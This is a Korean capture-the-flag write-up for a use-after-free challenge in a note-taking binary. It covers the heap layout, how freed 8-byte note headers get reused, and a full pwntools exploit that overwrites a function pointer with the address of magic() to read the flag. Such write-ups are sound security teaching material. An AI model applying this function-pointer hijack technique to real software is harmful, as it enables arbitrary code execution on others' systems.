우선 문제의 제목에서 추측할 수 있는 부분은 Heap 취약점 중 하나인 "Use After Free"와 연관되어 있을 것이라는 점이었습니다. 프로그램을 실행할 경우 4개의 메뉴가 display 되는 것을 확인할 수 있었습니다.
root@e60a28c09eb6:~/hackctf/uaf# ./uaf
----------------------
U-A-F
☆★ 종현이와 함께하는★☆
★☆ 엉덩이 공부 ☆★
----------------------
1. 노트 추가
2. 노트 삭제
3. 노트 출력
4. 탈출
----------------------
입력 :
이 중 노트 추가 -> 노트 삭제 -> 삭제된 노트의 index를 인자로 노트 출력
을 수행할 경우 Segmentation Fault가 발생하는 것을 보아 index에 대한 처리와 관련하여 취약점이 있을 것으로 예상할 수 있었습니다.
----------------------
U-A-F
☆★ 종현이와 함께하는★☆
★☆ 엉덩이 공부 ☆★
----------------------
1. 노트 추가
2. 노트 삭제
3. 노트 출력
4. 탈출
----------------------
입력 :3
Index :0
Segmentation fault
Ghidra를 통한 decompile 결과는 추가, 삭제, 출력이 각각 add_note()
, del_note()
, print_note()
함수에 정의되어 있었으며 flag를 읽어오는 magic()
함수가 존재하였습니다.
동작에 있어서 특이점으로는 print_note_content()
함수였는데 print_note()
가 이를 참조하여 동작하였습니다.
add_note()
를 수행할 경우 아래와 같은 형식으로 heap에 저장되는 것을 확인할 수 있었습니다.
0x804c200: 0x0804865b 0x0804c210 0x00000000 0x00000021
0x804c210: 0x74736554 0x48414820 0x00000a41 0x00000000
여기서 핵심은 0x804c200 주소에 저장되어 있는 0x0804865b는 print_note_content()
함수의 주소였는데 +4 주소에 있는 값을 출력하였습니다.
print_note()
함수는 print_note_content()
함수를 호출하며 진행되므로 만약 print_note_content()
주소가 저장되어 있는 부분을 magic()
함수의 주소로 변조하면 flag를 획득할 수 있을 것이라 생각하였습니다.
어떤 식으로 진행해야 할지는 찾았으나 이후 해당 값을 변조하는데에 어려움이 있었어서 이 부분은 약간의 힌트를 구한 뒤 진행하였습니다.
실제 print_note_content()
와 내용의 주소를 가리키는 부분은 별도의 malloc()
을 통해서 할당되었단 점을 알 수 있었습니다.
위 내용들을 종합하면 다음과 같이 결론을 내릴 수 있었습니다.
add_note()
를 실행할 경우 malloc(8)
을 실행 후 malloc(size)
를 통해 내용을 저장del_note()
를 실행할 경우 내용을 저장한 공간을 free()
후 8 byte 공간의 free()
를 진행이를 통해 시나리오를 작성하면 임의의 사이즈 노트 두 개를 생성 후 삭제할 경우 각각의 포인터로 사용했던 8 byte 공간 두 개가 bin에 저장되어 있으므로 size를 8로 지정하여 노트를 추가하면 이들을 제어할 수 있게 됩니다.
Memory의 변화에 대해 이해하는 것이 핵심이기에 흐름을 마지막으로 한번 더 정리하였습니다. 별도로 생성되는 8 Byte의 공간을 헤더로 지칭하였습니다.
위 과정이 사전 준비에 해당되며 모든 노트의 목록을 관리하는 notelist 배열에는 "A 헤더 주소 - B 헤더 주소" 순으로 저장되어 있습니다.
bin의 경우 헤더를 기준으로 정리하면 "B 헤더 - A 헤더" 순으로 저장되어 있습니다. 이후 8 Byte로 malloc()
을 수행할 경우 C 헤더는 B 헤더의 공간을 재사용하며 C 내용은 A 헤더의 공간을 재사용합니다.
이후 notelist에 C 헤더 주소가 추가되지만 이전의 A 헤더와 B 헤더는 삭제되지 않은 채로 남아 있습니다. print_note()
의 경우 헤더에 저장된 함수 포인터를 기반으로 동작하기에 C 내용을 임의의 함수 주소로 지정할 경우 A 노트의 index에 해당되는 0을 사용하여 동작을 수행할 경우 임의 함수 실행이 가능합니다.
#!/usr/bin/python3
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3020)
e = ELF("./uaf")
menu = " :"
# Create 2 Note
p.sendlineafter(menu, "1")
p.sendlineafter(menu, "929")
p.sendlineafter(menu, "Yena's Birthday")
p.sendlineafter(menu, "1")
p.sendlineafter(menu, "509")
p.sendlineafter(menu, "Yeju's BirthDay")
# Delete Both Note
p.sendlineafter(menu, "2")
p.sendlineafter(menu, "0")
p.sendlineafter(menu, "2")
p.sendlineafter(menu, "1")
# Spoof Second Note Pointer
p.sendlineafter(menu, "1")
p.sendlineafter(menu, "8")
p.sendlineafter(menu, p32(e.symbols['magic']))
# Read Flag
p.sendlineafter(menu, "3")
p.sendlineafter(menu, "0")
log.info(p.recvline().decode('utf-8'))